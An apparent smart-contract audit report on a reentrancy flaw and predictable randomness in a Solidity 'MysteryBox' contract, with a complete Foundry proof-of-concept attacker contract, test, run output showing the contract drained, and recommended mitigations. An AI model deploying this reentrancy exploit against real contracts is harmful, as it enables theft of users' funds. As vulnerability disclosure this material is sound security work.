Description
The function MysteryBox::claimSingleReward is vulnerable to reentracy attacks.
The attack in this report exploits the following vulnerabilities in the protocol:
The predicability of the random number used to select a reward.
The lack of any reentrancy guard when claiming rewards.
The Checks Effects and Interactions (CEI) pattern is not used.
Impact
Using this attack funds can be stolen from the protocol.
Preconditions for running POC.
Install the openzeppelin library using the command shown below.
Add the SimpleAttacker.sol to the project in the src directory.
Add the Unit Test file to the test directory.
Install the openzeppelin library which is used in the file SimpleAttacker.sol. Using the following command should do it.
forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit
Proof of Concept
File: SimpleAttacker.sol
pragma solidity 0.8.20;
import {console} from "forge-std/Test.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {MysteryBox} from "./MysteryBox.sol";
Need to run this to install the relevant library for the attack
forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit
*/
contract SimpleAttacker is IERC721Receiver {
MysteryBox victim;
uint256 boxPrice = 0.1 ether;
bool hasReward = false;
uint256 rewardValue;
uint256 constant CALL_LIMIT=500;
uint256 callCount;
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
constructor(MysteryBox _victim) payable {
victim = _victim;
}
function attack() public {
console.log("Attack called...");
while ( hasReward == false && address(victim).balance >= boxPrice ) {
victim.buyBox{value: boxPrice}();
victim.openBox();
uint256 last = victim.getRewards().length - 1;
rewardValue = victim.getRewards()[last].value;
console.log("Our reward value is: %s", rewardValue );
if ( rewardValue > 0 ){
hasReward = true;
}
}
if ( hasReward ){
victim.claimSingleReward(victim.getRewards().length - 1);
}
}
receive() external payable {
hasReward = true;
bool notYetDrained = address(victim).balance >= rewardValue;
callCount = callCount + 1;
if ( notYetDrained && callCount < CALL_LIMIT ) {
victim.claimSingleReward(victim.getRewards().length - 1);
}
}
}
Standalone test file: TestMysteryBoxRentrancySimple.t.sol
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/SimpleAttacker.sol";
contract MysteryBoxReentrantcySimpleTest is Test {
MysteryBox public mysteryBox;
address public owner;
SimpleAttacker attacker;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 1000 ether);
vm.prank(owner);
mysteryBox = new MysteryBox{value: 100 ether }();
attacker = new SimpleAttacker{value: 1 ether}(mysteryBox);
}
function testAttackerAtTimestampSimple() public {
uint256 timestamp = 1785601;
vm.warp(timestamp);
uint256 victimStartBalance = address(mysteryBox).balance;
uint256 attackerStartBalance = address(attacker).balance;
attacker.attack();
uint256 victimEndBalance = address(mysteryBox).balance;
uint256 attackerEndBalance = address(attacker).balance;
console.log("");
console2.log("Starting Victim balance: %s", victimStartBalance);
console2.log("Final Victim balance: %s", victimEndBalance);
console.log("");
console2.log("Starting Attacker balance: %s", attackerStartBalance);
console2.log("Final Attacker balance: %s", attackerEndBalance);
console2.log("Funds stolen: %s Wei (~263,942.82 USD)", victimStartBalance - victimEndBalance);
assert(attackerStartBalance < victimStartBalance);
assert(attackerEndBalance > victimEndBalance);
}
function testRandom() public view {
uint256 ts = block.timestamp;
uint256 randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
for (uint256 index = 0; index < 100; index++) {
ts += ((60 * 60) * index);
randomValue = uint256(keccak256(abi.encodePacked(ts,
address(attacker)))) % 100;
console2.log("%s randomValue is %s %s", index, randomValue, ts);
}
}
}
Run the exploit
forge test --mt testAttackerAtTimestampSimple -vvv
[⠆] Compiling...
[⠆] Compiling 2 files with 0.8.20
[⠰] Solc 0.8.20 finished in 3.02s
Compiler run successful!
Ran 1 test for test/TestMysteryBoxRentrancySimple.t.sol:MysteryBoxReentrantcySimpleTest
[PASS] testAttackerAtTimestampSimple() (gas: 2915102)
Logs:
Attack called...
Our reward value is: 500000000000000000
Starting Victim balance: 100000000000000000000
Final Victim balance: 100000000000000000
Starting Attacker balance: 1000000000000000000
Final Attacker balance: 100900000000000000000
Funds stolen: 99900000000000000000 Wei (~263,942.82 USD)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.40ms (24.03ms CPU time)
Ran 1 test suite in 410.15ms (26.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended mitigation(s)
Adopt openzepplin libraries that include reentrancy guards.
Adopt CEI pattern (see solidity security docs for a description).
Use a random number generator that does not allow numbers to be predicted.
References
https://docs.soliditylang.org/en/latest/security-considerations.html
Tools Used